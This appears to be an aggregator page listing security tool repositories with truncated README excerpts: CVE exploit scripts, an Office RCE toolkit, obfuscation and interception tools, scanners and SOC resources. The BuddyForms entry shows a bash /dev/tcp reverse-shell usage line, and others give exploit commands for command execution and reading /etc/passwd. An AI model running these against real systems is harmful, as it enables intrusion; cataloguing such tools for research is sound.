Out-FINcodedCommand

Out-FINcodedCommand v1.0 Introduction Out-FINcodedCommand is a PowerShell v2.0+ compatible PowerShell POC script designed to highlight several obfuscation techniques used by FIN threat actors. The primary obfuscation techniques highlighted in this tool are: 1. cmd.exe's variable char/string...

CVE-2025-5840

CVE-2025-5840 CVE-2025-5840 Exploit In Python By hax / haxerr9 How To Use: Make sure Python3 is installed at system. Run "python3 CVE-2025-5840.py URL -c COMMAND". Don't forget to give it parameters before running the script. Example Use: NOT TESTED This exploit is not tested in a lab environment...

MITM_Intercept

MITMIntercept A little bit less hackish way to intercept and modify non-HTTP protocols through Burp and others with SSL and TLS interception support. This tool is for researchers and applicative penetration testers that perform thick clients security assesments. An improved version of the fantast...

CVE-2023-23752

CVE-2023-23752 - Recurrence of Joomla Unauthorized Access Vulnerability Script Usage Install python libraries pip install -r requirements.txt Vulnerability Verification python3 CVE-2022-26134check.py -u url -c whoami Batch Scan python3 CVE-2023-23752.py -f urlpart.txt Affected Versions 4.0.0 =...

twitter-advanced-search

🔍 Advanced Search on Twitter These operators work on Web, Mobile, Tweetdeck. There is some overlap, but largely these will not work for v1.1 Search, Premium Search, or v2 Search APIs. Adapted from TweetDeck Help, @lucahammer Guide, @eevee Twitter Manual, @pushshift and Twitter / Tweetdeck itself...

CVE-2007-2447_Samba_3.0.25rc3

CVE-2007-2447 'Username' map script' Command Execution 3.0.0 - 3.0.25rc3 3.0.20 - 3.0.25rc3 AMRIUNIX...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Originally, CVE-2023–26326 required gadget chains to exploit it as a deserialization vulnerability. This method is no longer feasible on newer WordPress sites running on PHP 8+; however, by chaining with...

CVE-2017-0199-v5.0

Exploit toolkit CVE-2017-0199 - v5.0 Exploit toolkit CVE-2017-0199 - v5.0 is a handy python script which provides pentesters and security researchers a quick and effective way to test Microsoft Office RCE. It could generate a malicious RTF/PPSX file and deliver metasploit / meterpreter / other...

Exihibitor-RCE

Exhibitor-RCE Exhibitor Web Ui 1.7.1 RCE, CVE-2019-5029 Step 1: $ git clone https://github.com/thehunt1s0n/Exihibitor-RCE/ Step 2: $ cd Exihibitor-RCE/ Step 3 optional: You might need to edit json data payload in the script. To do that simply capture the request using burpsuite when comiting the...

Freeway

Freeway for Network Pentesting Read the article about Freeway, now on Medium !NOTE User will not be prompted to accept EULA anymore! Therefore, by downloading the software, user automatically agrees to follow every guideline specified in EULA section below. 1. Overview Freeway is a Python...

dawnscanner

Dawnscanner - Ruby 웹 애플리케이션을 위한 떠오르는 보안 스캐너 dawn은 웹 애플리케이션의 보안 문제를 검토하기 위해 설계된 소스 코드 스캐너입니다. 이 도구는 Ruby로 작성된 웹 애플리케이션을 스캔할 수 있으며, 기본적으로 모든 주요 MVCModel View Controller 프레임워크를 지원합니다: Ruby on Rails Sinatra Padrino dawn 버전 2.0은 지식 베이스에 680개 이상의 보안 검사를 탑재하고 있으며, NIST의 National Vulnerability Database에서...

CVE-2023-44766_ConcreteCMS-Stored-XSS---SEO

ConcreteCMS Stored XSS v.9.2.1 Author: Sergio Description: Cross Site Scripting vulnerability in ConcreteCMS v.9.2.1 allows a local attacker to execute arbitrary code via a crafted script to the SEO - Extra from Page Settings. Attack Vectors: Scripting A vulnerability in the sanitization of the...

CVE-2019-14287

🖥️ - This script was developed by h3x0v3rl0rd. script to check for CVE-2019-14287...

awesome-soc-analyst

awesome-soc-analyst We just collected useful resources for SOC analysts and SOC analyst candidates. This repository is maintained by LetsDefend. Feel free to add new resources here. Table of Contents Books Malware Analysis Practice Labs Phishing Analysis Tools for Investigation Network Log Source...

lil-pwny

Lil Pwny Fast offline auditing of Active Directory passwords using Python. About Lil Pwny Lil Pwny is a Python application to perform an offline audit of NTLM hashes of users' passwords, recovered from Active Directory, against known compromised passwords from Have I Been Pwned. Results will be...

shiro-cve-2020-17523

Apache Shiro 二つの方法による認証バイパス分析（CVE-2020-17523） 0x01 脆弱性の説明 Apache Shiroは強力で使いやすいJavaセキュリティフレームワークであり、認証、認可、パスワード、セッション管理を実行します。Shiroの理解しやすいAPIを使用すると、最小のモバイルアプリケーションから最大のネットワークおよびエンタープライズアプリケーションまで、あらゆるアプリケーションを迅速かつ簡単に利用できます。...

CVE-2019-19945_Test

CVE-2019-19945Test This is the code for the first Proposed CVE 1. Install Docker 2. Build & RUN Server cd Server docker build -t server/cve . docker run -d --name server -p 80:80 server/cve 3. Get Server Container IP Linux sudo docker container inspect server | grep -i IPAddress Windows Powershel...

hostintel

hostintel This tool is used to collect various intelligence sources for hosts. Hostintel is written in a modular fashion so new intelligence sources can be easily added. Hosts are identified by FQDN host name, Domain, or IP address. This tool only supports IPv4 at the moment. The output is in CSV...

Path-Transversal-CVE-2025-31125-

Vite Exploit CVE-2025-31125 Description: Exploits path traversal in Vite Development Server's @fs endpoint CVE-2025-31125 to access sensitive files like /etc/passwd and /etc/hosts via crafted URLs. Created by Harsh Gupta. Usage: python viteexploit.py -u http://target.com python viteexploit.py -f...

CVE-2012-1675

CVE-2012-1675 Oracle Database TNS Listener Poison Attack Vulnerability nmap -Pn -sT --script=+oracle-tns-poison -p 1521 192.168.2.18 https://www.integrigy.com/files/Integrigy%20Oracle%20TNS%20Poisoning%20Attacks.pdf...